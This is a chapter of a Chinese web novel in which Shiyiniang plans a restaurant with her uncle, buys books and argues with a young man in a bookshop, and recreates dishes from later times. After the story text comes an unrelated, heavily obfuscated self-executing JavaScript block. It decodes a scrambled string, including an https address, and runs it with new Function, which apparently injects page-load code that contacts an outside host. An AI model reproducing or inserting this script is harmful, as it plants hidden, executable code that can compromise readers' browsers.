十一娘的日子最近过得很紧凑，早上起来，练一百个大字，然后看半个时辰的书，看完书后，默写出1-2种菜谱，让李嬷嬷去试验，目前做的几样菜，特别是糖醋排骨和东坡茄子，受到了许府上下的一致热爱，于是，今日许仲颜就把十一娘叫到书房，跟她商量开酒楼的想法。
听了二伯的提议，十一娘道：“二伯这个想法，侄女很是支持，不知二伯打算几时开业？到时侄女看看能不能和李嬷嬷多研究几道菜来。”
许仲颜道：“那个不急，找到店面，还要装修，怎么也要一个多月，二伯叫你过来，就是跟你商量下，如果看酒楼，我们两房的份子怎么分？”
“这——侄女全凭二伯决定。”
许仲颜想了想，道：“老实说吧，二伯现在手头没有多少钱了，所以开酒楼的钱，我打算从你上次给我的那五千两里支出，所以这个得算你一份，那些菜谱，大部分也算是你提供的，也算你一份，但是管理上，你一个女孩子不方便出面，这就是我和珺哥儿的工作，还有老宅那边，虽然我们已经分家了，但是老宅那边怎么也说是长辈，所以我提议份子上，我二房这边占五成，你四房占四成，太夫人那边占一成，怎么样？”
以前上元县的人经常说二伯不孝，看来也未必啊，十一娘心里想道。
“二伯这个提议，侄女认为非常合适。”
“那行，咱们就这么定了，十一娘，你这段时间多多辛苦，那啥，我看前面街上就有书店，你去那里找找，有合适的书就买回来，看能不能再找出几道菜谱来，到时我们酒楼红火就指日可待了！”
看着二伯打算一展拳脚的样子，十一娘笑着应是。
第二日，十一娘就带着周嬷嬷和吉顺去了清林街的那一家书店。
近段时间秋收，李三保已经带着一家人还有吉祥回上元县，替十一娘打理那一百亩地去了，所以她身边的人剩下不多，这回出去，本想把小杏也带出去看看这府城的景色，奈何周嬷嬷不允，说是小杏性格稳重，要留她在院里守着，十一娘只好顺周嬷嬷的意，但又怕小杏孤单，所以把小桃也给留下了。
书店的名字叫学海居，十一娘一看这店名，就知道是取自韩愈的“书山有路勤为径，学海无涯苦作舟”这一句。
府城果然是不一样，上次在门外扫了一眼，就觉得此店书籍甚多，此处进得店来，发现这里的书，果然不是上元县那家小店能比的。虽然这里的书还是以科举为主，但是描字贴、游记、杂学、话本等等，应有尽有，十一娘先在描字贴那里挑了很多张好看的字贴，然后又逛了话本那一区，挑了《南柯太守传》和《李娃传》，然后走到游记那里，架上关于游记的书共有十二本，十一娘把它们一网打尽，让吉顺抱着正要去付款时，却被一个声音阻止了：“小娘子，你一个人就把这书店的书都包园儿了，这是不是不太好啊？”
十一娘转身看向说话的人，发现是一个跟珺哥儿一般大的少年，应该也是十五岁左右，穿着蓝色的直裰，腰间还挂着一个玉佩，看上去应该是个有钱人家的孩子。
她问道：“我有吗？这书店上上下下起码有上千本书，我不过才拿了十几本，公子怎么就说我把这店里的书都包园了呢？”
那少年语塞，一般的小娘子听到这种话，应该都会不好意思地把书放回去，以示自己没有那么自私，但眼前这小娘子不但不按常理来，居然还会反驳，且反驳得那么有力，让他也不知道该怎么接词了。
见他无话可说，十一娘叫吉顺把书拿去前面结账，此时身后又有一个声音响起：“你这小娘子真是好生无理，这个书架上的书总共也才十几本，你一下子全拿完了，有没有理会过后面客人的想法？我家公子好意劝解你，你居然还能厚脸皮地不当一回事！”
十一娘转身，发现说话的人一身小厮打扮，正站在那个少年身后。
她抿唇笑笑，正要反驳，却看见周嬷嬷一脸不赞同的脸色。
也对，自家初来乍到，还是不要在外惹事了，谁知道这少年是哪家公子，到时如果冲了龙王庙就不好了。于是她对那少年道：“原来如此，倒是我的不对了，君子不夺人所好，不知公子看中哪本书，那就直接从我这小厮手里拿吧。”
说完，十一娘才意识到自己讲错话了，只见那少年脸色涨得通红，过了好久才道：“不用了，既然是小娘子先看中的，在下就不夺人所好了，告辞！”
少年拱手施礼后大步流星地走了出去。
十一娘目送这一主一仆离去后，转身看到周嬷嬷担忧的脸色，给她一个安慰的笑容，然后去结账。
因为有这十几本游记加持，十一娘又背出了桂花糯米藕、叫花鸡、扬州炒饭等几个后世比较受欢迎的江浙菜，因为李嬷嬷不在，小厨房掌勺的就变成了小杏，不是周嬷嬷不愿意下厨，而是她确实没有厨艺方面的天分，十一娘也是在吃过几次周嬷嬷做的饭菜后，才知道这个事实的。这回弄的几个菜，做法都比较简单，比如叫花鸡，只是让人把鸡杀好，用整张荷叶一包，然后糊上泥巴，塞进灶台，上面还顺便烧了一锅水呢！还有炒饭，现在外面酒楼也有做炒饭的，但基本上都是蛋炒饭，扬州炒饭还没有真正成形，十一娘让小杏往里面加点虾仁、肉丁、青豆、胡椒粉，做出的炒饭人人都叫好，特别是府中两个男的，许仲颜和珺哥儿，自尝过一次这种炒饭后，基本上天天要求厨房照着做。
因为打算开酒楼，本着知己知彼的心思，许仲颜只要一有空，就把十一娘和珺哥儿带到外面酒楼去吃饭，几乎把忠德街上的每一家酒楼的每一道菜式都尝了个遍。
尝完最后一家酒楼，许仲颜眼神大亮，他发现，他那个小侄女弄出来的菜式，比这些酒楼最好吃的菜还要好吃上十分，本来他是打算就在城南开一家酒楼的，现在决定了，既然要做，就做最好的，把酒楼开到府城人流最旺，商业最发达的城东去！
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();